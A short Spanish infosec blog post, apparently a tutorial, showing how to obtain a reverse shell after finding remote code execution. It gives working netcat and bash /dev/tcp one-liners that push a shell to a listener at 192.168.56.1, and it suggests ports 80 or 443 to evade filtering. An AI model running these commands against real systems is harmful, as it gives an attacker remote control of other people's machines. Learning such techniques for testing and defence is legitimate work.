marqueta.org
You can't always apt-get what you want
Infosec - Cycling - Estudiantes
RHCE / RHCSA
Once a sysadmin, always a sysadmin
Shell inversa (reverse shell)
- Situación: encontrado un método de RCE pero sin posibilidad de acceso a la shell.
- Solución: bind de la shell a un puerto TCP.
netcat
Esto ya lo vimos hace tiempo en otro articulo. Lo que ocurre es que:
nc
/netcat
no siempre estará disponible- si lo está, es posible que no tenga la opción
-e
En ese caso, podemos ponernos a escuchar (en un puerto accesible al sistema de destino):
nc -l 8080
Y en destino:
nc 192.168.56.1 8080 -e /bin/bash
Ya podemos ejecutar comandos en el sistema remoto cómodamente sentados frente a nuestra máquina:
user@mihost:~$ nc -l 8080
hostname
vmjessie
La máquina objeto de la ejecución de la shell inicia una conexión hacia el puerto de escucha (8080 en el ejemplo). Por eso es necesario elegir un puerto accesible, no filtrado; una elección segura serían los puertos 80 o 443.
bash
En este caso no vamos a usar nc
en el equipo objetivo, sino un descriptor asociado a un socket donde vamos a enviar las salidas de la shell. Partimos de nuestro equipo (en el ejemplo, nuestra IP es 192.168.56.1), donde estamos escuchando (con nc
o lo que sea, da igual) en un puerto accesible:
nc -vvv -l 8080
Y en el objetivo:
exec 5<>/dev/tcp/192.168.56.1/8080
cat <&5 | while read line; do $line 2>&5 >&5; done
Con esto, los comandos que tecleemos en nuestra máquina son ejecutados en la remota y la salida nos llega a nosotros:
user@192.168.56.1:~$ nc -vvv -l 8080
hostname
target
Mediante esta otra sintaxis:
user@target:~$ bash -i >& /dev/tcp/192.168.56.1/8080 0>&1
tenemos igualmente la consola en nuestra máquina, prompt incluido:
user@192.168.56.1:~$ nc -vvv -l 8080
user@target:~$ hostname
hostname
target
Si hay alguna razón para ejecutar la shell vía algún lenguaje de scripting (PHP, Perl, Python, Java, Ruby… ¡¡Gawk!!) aquí hay un montón de pruebas de concepto para entretenerse un rato.